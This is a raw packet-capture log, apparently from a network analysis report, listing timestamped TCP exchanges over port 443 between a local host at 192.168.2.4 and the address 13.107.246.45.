Nov 16, 2024 04:34:25.412920952 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442090034 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442141056 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442192078 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.442210913 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442279100 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442347050 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.442444086 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.442456007 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.442471027 CET	50005	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.442476988 CET	443	50005	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.444863081 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.444932938 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.445000887 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.445142031 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.445175886 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.519109011 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.519169092 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.519264936 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.519294977 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.519334078 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.519367933 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.519387007 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.519401073 CET	50006	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.519407034 CET	443	50006	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.521955967 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.522039890 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:25.522124052 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.522252083 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:25.522286892 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.079956055 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.080398083 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.080421925 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.080813885 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.080841064 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.108788967 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.114002943 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.114038944 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.114485025 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.114500999 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.184554100 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.186158895 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.186247110 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.186290979 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.186305046 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.187547922 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.189752102 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.189785957 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.190077066 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.190085888 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.221060038 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.221084118 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.221115112 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.221313953 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.221313953 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.221313953 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.221379995 CET	50007	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.221400976 CET	443	50007	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.223567009 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.223640919 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.225450039 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.225563049 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.225581884 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.241169930 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.241328955 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.241403103 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.241466999 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.241466999 CET	50008	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.241497040 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.241518974 CET	443	50008	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.243495941 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.243582964 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.243671894 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.243804932 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.243837118 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.254054070 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.254417896 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.254498959 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.254702091 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.254715919 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.314044952 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.314202070 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.314294100 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.314295053 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.314372063 CET	50010	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.314408064 CET	443	50010	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.316144943 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.316205978 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.316291094 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.316402912 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.316420078 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.334250927 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.334328890 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.334412098 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.334460020 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.334460020 CET	50009	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.334472895 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.334487915 CET	443	50009	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.336533070 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.336616993 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.336699009 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.336790085 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.336810112 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.381793022 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.381866932 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.381977081 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.382160902 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.382160902 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.382162094 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.382162094 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.383681059 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.383714914 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.383781910 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.383872032 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.383883953 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.685978889 CET	50011	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.686042070 CET	443	50011	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.973752975 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.974189997 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.974232912 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.974598885 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.974611998 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.980631113 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.980896950 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.980978966 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:26.981170893 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:26.981187105 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.066303968 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.073788881 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.103038073 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.103065968 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.103328943 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.103333950 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.103631973 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.103703976 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.103810072 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.103826046 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.106786013 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.106884956 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.106950998 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.107002974 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.107002974 CET	50012	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.107033968 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.107057095 CET	443	50012	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.109034061 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.109214067 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.109260082 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.109268904 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.109283924 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.109325886 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.110198021 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.110212088 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.110236883 CET	50013	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.110241890 CET	443	50013	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.132963896 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.172936916 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.172957897 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.181287050 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.181294918 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.222455978 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.222546101 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.222695112 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.228064060 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.228102922 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.228163958 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.228171110 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.228193045 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.228238106 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.228250027 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.228312016 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.232639074 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.232825994 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.232892036 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.241290092 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.241358042 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.241403103 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.241403103 CET	50014	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.241436005 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.241458893 CET	443	50014	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.242530107 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.242547035 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.242682934 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.242682934 CET	50015	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.242724895 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.242805958 CET	443	50015	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.245009899 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.245063066 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.245143890 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.245245934 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.245259047 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.252363920 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.252413988 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.252474070 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.252681017 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.252700090 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.312630892 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.312788963 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.312834978 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.312859058 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.312872887 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.312884092 CET	50016	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.312891006 CET	443	50016	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.314578056 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.314613104 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.314687014 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.314768076 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.314776897 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.974618912 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.975085020 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.975169897 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.975483894 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.975500107 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.979660034 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.979901075 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.979916096 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.980189085 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.980199099 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.986305952 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.986603975 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.986624002 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.986908913 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.986916065 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.994712114 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.994982004 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.995040894 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:27.995223045 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:27.995237112 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.053217888 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.053601980 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.053632021 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.053961039 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.053966045 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.102149010 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.102335930 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.102473974 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.102559090 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.102598906 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.102638960 CET	50017	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.102655888 CET	443	50017	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.105278969 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.105355024 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.105505943 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.105660915 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.105690002 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.108676910 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.108823061 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.108891964 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.108927011 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.108943939 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.108966112 CET	50019	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.108977079 CET	443	50019	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.110877037 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.110922098 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.110990047 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.111094952 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.111104965 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.116275072 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.116355896 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.116405964 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.116452932 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.116480112 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.116499901 CET	50018	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.116508961 CET	443	50018	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.118376970 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.118462086 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.118539095 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.118640900 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.118673086 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.125332117 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.125416994 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.125480890 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.125538111 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.125571966 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.125600100 CET	50020	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.125614882 CET	443	50020	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.127384901 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.127413034 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.127511978 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.127628088 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.127644062 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.220412970 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.220484018 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.220587969 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.220593929 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.220664024 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.220746994 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.220763922 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.220801115 CET	50021	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.220808029 CET	443	50021	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.222827911 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.222924948 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.223016977 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.223154068 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.223186016 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.832906961 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.833430052 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.833456039 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.833873034 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.833878994 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.839085102 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.839374065 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.839456081 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.839680910 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.839694977 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.862617016 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.867062092 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.867105961 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.867578030 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.867717028 CET	50024	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.867733955 CET	443	50024	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.867957115 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.868011951 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.868304968 CET	50025	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.868319988 CET	443	50025	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.959572077 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.959671021 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.959794998 CET	443	50023	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.959839106 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.960030079 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.960030079 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.960030079 CET	50023	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.962373972 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.962418079 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.962515116 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.962894917 CET	50027	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.962910891 CET	443	50027	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.967979908 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968274117 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.968301058 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968636036 CET	50026	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.968641996 CET	443	50026	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968662024 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968823910 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968885899 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.968923092 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.968923092 CET	50022	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.968943119 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.968954086 CET	443	50022	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:28.970647097 CET	50028	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:28.970705032 CET	443	50028	13.107.246.45	192.168.2.4
